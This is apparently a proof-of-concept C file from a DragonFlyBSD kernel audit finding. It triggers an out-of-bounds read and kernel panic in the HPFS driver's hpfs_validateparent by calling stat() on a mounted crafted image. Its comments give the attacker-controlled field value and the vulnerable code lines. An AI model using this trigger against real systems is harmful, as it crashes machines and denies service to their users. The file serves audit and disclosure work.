DragonFlyBSD Kernel Audit
DF-0865 / poc.c
← back to finding ↓ download raw
/*
 * DF-0865 — HPFS hpfs_validateparent dep-walk OOB read trigger.
 *
 * A plain stat() on the root of a mounted malicious HPFS image drives
 * VOP_GETATTR -> hpfs_getattr (sys/vfs/hpfs/hpfs_vnops.c:467), which calls
 * hpfs_validateparent(hp) when H_PARVALID is not yet set.  Root's
 * fn_parent == h_no (self), so dhp=hp=root and validateparent walks root's
 * own crafted directory block.  The dep-walk loop at hpfs_subr.c:598-611
 * advances dep by de_reclen (0x0900, attacker-controlled u16 off disk) with
 * no bound check, so dep jumps 276 bytes past the 2 KB bread buffer; the
 * next read of dep->de_flag faults -> kernel panic (OOB read page fault).
 *
 * If the kernel panics, this process will not return (ssh dies).  The proof
 * is the panic signature in the serial boot log.
 *
 * Build:  cc -o poc poc.c
 * Run:    ./poc /mnt/hpfs        (after root mounts the crafted image)
 */
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    const char *mp = argc > 1 ? argv[1] : "/mnt/hpfs";
    struct stat st;

    printf("[*] DF-0865: stat(%s) -> VOP_GETATTR -> hpfs_validateparent "
           "dep-walk\n", mp);
    printf("[*] crafted dir block dep0 de_reclen=0x0900 -> dep walks 276 B "
           "past 2 KB bread buffer\n");
    printf("[*] if the kernel panics here, the guest goes down; check "
           "boot.log for the panic signature\n");
    fflush(stdout);

    if (stat(mp, &st) < 0) {
        perror("[!] stat returned error (no panic)");
        return 1;
    }
    /* If we reach here, validateparent returned without faulting.  On the
     * unpatched kernel this is unexpected for this image; on the patched
     * kernel validateparent returns EINVAL (bounds check trips) but the
     * error is swallowed by the VFS layer into a generic stat failure,
     * which we already reported above.  Either way: NO PANIC = fixed. */
    printf("[*] stat succeeded (ino=%llu mode=0%o) — NO PANIC\n",
           (unsigned long long)st.st_ino, st.st_mode);
    return 0;
}